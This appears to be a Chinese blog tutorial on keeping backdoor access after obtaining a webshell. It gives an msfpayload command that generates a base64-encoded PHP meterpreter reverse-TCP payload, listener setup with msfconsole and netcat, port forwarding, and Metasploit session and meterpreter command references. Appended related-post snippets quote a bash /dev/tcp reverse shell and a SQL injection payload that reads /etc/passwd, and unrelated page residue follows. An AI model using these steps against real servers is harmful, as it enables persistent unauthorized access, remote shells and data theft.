1、前期--

情景就是当我们获得webshell时,我们想留下我们的后门,这个时候我们可以用到msfpayload与msfconsole结合使用

启动PostgreSQL服务:service postgresql start

启动metasploit服务:service metasploit start

启动msfconsole:msfconsole

查看数据库连接状态:db_status

生成后门文件

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.133.128 LPORT= R | msfencode -e php/base64 -t raw -o /root/Desktop/exp.php

exp.php需要加上<?php  ?>

攻击端启动监听

或者

nc 192.168.133.128 -lvp 

然后去访问我们的后门文件

2、大家想保存我们得到的session怎么办?首先必须连接数据库

exploit -h
-e <opt> The payload encoder to use. If none is specified, ENCODER is used. 有效负载编码,默认使用
-f Force the exploit to run regardless of the value of MinimumRank.
-h Help banner.
-j Run in the context of a job. 在后台中运行
-n <opt> The NOP generator to use. If none is specified, NOP is used.
-o <opt> A comma separated list of options in VAR=VAL format.
-p <opt> The payload to use. If none is specified, PAYLOAD is used.
-t <opt> The target index to use. If none is specified, TARGET is used.
-z Do not interact with the session after successful exploitation 建立会话放到后台
sessions -h
-K Terminate all sessions 杀死所有sessions
-c <opt> Run a command on the session given with -i, or all 执行一个命令
-d <opt> Detach an interactive session
-h Help banner
-i <opt> Interact with the supplied session ID 连接会话
-k <opt> Terminate sessions by session ID and/or range
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s <opt> Run a script on the session given with -i, or all
-t <opt> Set a response timeout (default: )
-u <opt> Upgrade a shell to a meterpreter session on many platforms
-v List verbose fields

3、meterpreter使用

Core Commands 代码命令
============= Command Description
------- -----------
? Help menu 查看帮助
background Backgrounds the current session 将sessions保存到后台
bgkill Kills a background meterpreter script 杀死后台meterpreter脚本
bglist Lists running background scripts 列出后台meterpreter脚本
bgrun Executes a meterpreter script as a background thread 在后台进程中执行一个脚本
channel Displays information about active channels 显示活动的通道
close Closes a channel 关闭通道
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session 退出
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode 开启ruby终端
load Load one or more meterpreter extensions
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel Stdapi: File system Commands 文件命令
============================ Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory Stdapi: Networking Commands 网络命令
=========================== Command Description
------- -----------
portfwd Forward a local port to a remote service 端口转发
   portfwd  add -l 5555 -p 3389 -r 192.168.198.129 将192.168.198.129的3389端口转发到本地的5555端口 Stdapi: System Commands
======================= Command Description
------- -----------
execute Execute a command 执行命令
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
shell Drop into a system command shell 生成一个shell
sysinfo Gets information about the remote system, such as OS 查看系统信息

附上:初探meterpreter

msfpayload反弹shell的更多相关文章

  1. 内网渗透中的反弹Shell与端口转发

    from:https://www.91ri.org/9367.html Web渗透中的反弹Shell与端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload ...

  2. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  3. NC / Netcat - 反弹Shell

    原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>n ...

  4. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  5. linux反弹shell

    参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...

  6. python shell与反弹shell

    python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端, ...

  7. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

  8. golang写的反弹shell(自作孽不可活,切记,切记!)

    仅作安全研究 package main import ( "os/exec" "go-pop3" "log" "strings&q ...

  9. 使用DnsCat反弹shell

    DnsCat技术特点 Dns隧道反弹shell DnsCat服务器的安装 #git clone https://github.com/iagox86/dnscat2.git #cd dnscat2 # ...

随机推荐

  1. Cannot create file"C:\Users\LML\AppData\Local\Temp\EditorLineEnds.ttr"。另一个程序正在使用此文件,进程无法访问。

    不能二次启动,每次开机第一次都ok,出于习惯,总是想试试第二次打开软件是否正常,结果不出所料,出现了“Cannot create file"C:\Users\LML\AppData\Loca ...

  2. Codeforces 1060 F. Shrinking Tree

    题目链接 一道思维好题啊...感觉这种类型的题很检验基本功是否扎实(像我这样的就挂了). 题意:你有一棵\(n\)个点的树,每次随机选择一条边,将这条边的两个端点合并,并随机继承两个点标号中的一个,问 ...

  3. BZOJ5312 冒险(线段树)

    记录区间and/or,修改时如果对整个区间影响都相同就打标记,否则递归.复杂度不太会证. #include<iostream> #include<cstdio> #includ ...

  4. Win7剪贴板粘贴汉字显示为乱码的解决办法

    http://blog.csdn.net/tanaya/article/details/8684805 最近2天发现在记事本粘贴的时候汉字都显示为乱码了,很纠结,后面发现是[区域和语言]设置中的“文本 ...

  5. Mininet 系列实验(六)

    写在前面 这次实验遇到了非常多问题,非常非常多,花了很多时间去解决,还是有一些小问题没有解决,但是基本上能完成实验.建议先看完全文再开始做实验. 实验内容 先看一下本次实验的拓扑图: 在该环境下,假设 ...

  6. Android studio gradle配置完整版(转)

    Android studio gradle配置完整版https://my.oschina.net/u/1471093/blog/539075 Android studio 自定义打包apk名 - pe ...

  7. HDU--4607

    题目: Park Visit 原题链接:http://acm.hdu.edu.cn/showproblem.php?pid=4607 分析:求树的直径.所谓树的直径,指的是一棵树里任意两点之间的最远距 ...

  8. 【Asp.net入门03】第一个ASP.NET 应用程序-创建ASP.NET项目

    本部分主要内容: 创建并运行Asp.net项目 web窗体 数据模型 调用代码隐藏方法 数据验证 1.操作步骤 第一步:启动Visual Studio 2013,然后从File(文件)菜单中选择New ...

  9. MySQL内存计算器

    MySQL如何使用内存? 首先,介绍MySQL使用内存的一些方法: 1. 会话级别的内存消耗(连接私有内存):如sort_buffer_size等,每个会话都会开辟一个sort_buffer_size ...

  10. [大数据]-hadoop2.8和spark2.1完全分布式搭建

    一.前期准备工作: 1.安装包的准备: VMware(10.0版本以上) : 官方网站:https://www.vmware.com/cn.html 官方下载地址:http://www.vmware. ...